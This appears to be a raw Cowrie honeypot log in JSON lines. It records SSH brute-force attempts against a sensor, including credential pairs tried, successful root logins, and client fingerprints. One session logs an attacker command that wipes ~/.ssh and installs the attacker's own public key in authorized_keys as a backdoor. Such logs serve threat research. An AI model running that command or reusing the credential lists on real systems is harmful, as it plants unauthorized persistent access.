{"eventid":"cowrie.login.failed","username":"log","password":"logpassword","message":"login attempt [log/logpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:00.370625Z","src_ip":"211.106.133.202","session":"1d50d7f4b168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:00.774601Z","src_ip":"182.52.236.235","session":"5d940cb8b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":57116,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e78f9258ce","protocol":"ssh","message":"New connection: 182.52.236.235:57116 (159.203.135.109:22) [session: 98e78f9258ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:01.012650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:01.017343Z","src_ip":"182.52.236.235","session":"98e78f9258ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:01.277624Z","src_ip":"182.52.236.235","session":"98e78f9258ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:01.574696Z","src_ip":"211.106.133.202","session":"1d50d7f4b168","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:02.289289Z","src_ip":"182.52.236.235","session":"98e78f9258ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:02.535214Z","src_ip":"182.52.236.235","session":"81428b3542f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:02.541005Z","src_ip":"182.52.236.235","session":"98e78f9258ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:03.430959Z","src_ip":"46.151.178.13","session":"d6f9e0e77351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.25375962257385,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:03.442534Z","src_ip":"46.151.178.13","session":"d6f9e0e77351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":47558,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf7682b3e49","protocol":"ssh","message":"New connection: 45.232.73.84:47558 (159.203.135.109:22) [session: adf7682b3e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:12.880755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:12.885269Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.013921Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Devops123","message":"login attempt [root/Devops123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.553418Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.855424Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.858958Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.861605Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:13.988479Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.282368Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.285566Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.417740Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.421457Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":47906,"dst_ip":"159.203.135.109","dst_port":22,"session":"54550dd8f76b","protocol":"ssh","message":"New connection: 45.232.73.84:47906 (159.203.135.109:22) [session: 54550dd8f76b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.536217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.544370Z","src_ip":"45.232.73.84","session":"54550dd8f76b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:14.671923Z","src_ip":"45.232.73.84","session":"54550dd8f76b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:15.164094Z","src_ip":"45.232.73.84","session":"54550dd8f76b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:16.292360Z","src_ip":"45.232.73.84","session":"54550dd8f76b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":48412,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cfa127a9bbc","protocol":"ssh","message":"New connection: 45.232.73.84:48412 (159.203.135.109:22) [session: 5cfa127a9bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:16.413643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:16.417706Z","src_ip":"45.232.73.84","session":"5cfa127a9bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:16.544532Z","src_ip":"45.232.73.84","session":"5cfa127a9bbc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:17.084761Z","src_ip":"45.232.73.84","session":"5cfa127a9bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:17.213307Z","src_ip":"45.232.73.84","session":"adf7682b3e49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:17.217554Z","src_ip":"45.232.73.84","session":"5cfa127a9bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.88.194.26","src_port":38006,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dad6f7088b6","protocol":"ssh","message":"New connection: 176.88.194.26:38006 (159.203.135.109:22) [session: 5dad6f7088b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:22.529313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:22.533393Z","src_ip":"176.88.194.26","session":"5dad6f7088b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:22.657519Z","src_ip":"176.88.194.26","session":"5dad6f7088b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"comunicacao","password":"1234","message":"login attempt [comunicacao/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:23.189054Z","src_ip":"176.88.194.26","session":"5dad6f7088b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:24.316840Z","src_ip":"176.88.194.26","session":"5dad6f7088b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":34420,"dst_ip":"159.203.135.109","dst_port":22,"session":"093227035e16","protocol":"ssh","message":"New connection: 103.59.94.61:34420 (159.203.135.109:22) [session: 093227035e16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:44.848679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:44.858671Z","src_ip":"103.59.94.61","session":"093227035e16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:45.101797Z","src_ip":"103.59.94.61","session":"093227035e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"otrs","password":"Otrs123!","message":"login attempt [otrs/Otrs123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:46.079433Z","src_ip":"103.59.94.61","session":"093227035e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:41:47.330394Z","src_ip":"103.59.94.61","session":"093227035e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":51942,"dst_ip":"159.203.135.109","dst_port":22,"session":"676bd1d8836f","protocol":"ssh","message":"New connection: 107.150.103.210:51942 (159.203.135.109:22) [session: 676bd1d8836f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:20.128000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:42:20.133480Z","src_ip":"107.150.103.210","session":"676bd1d8836f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openss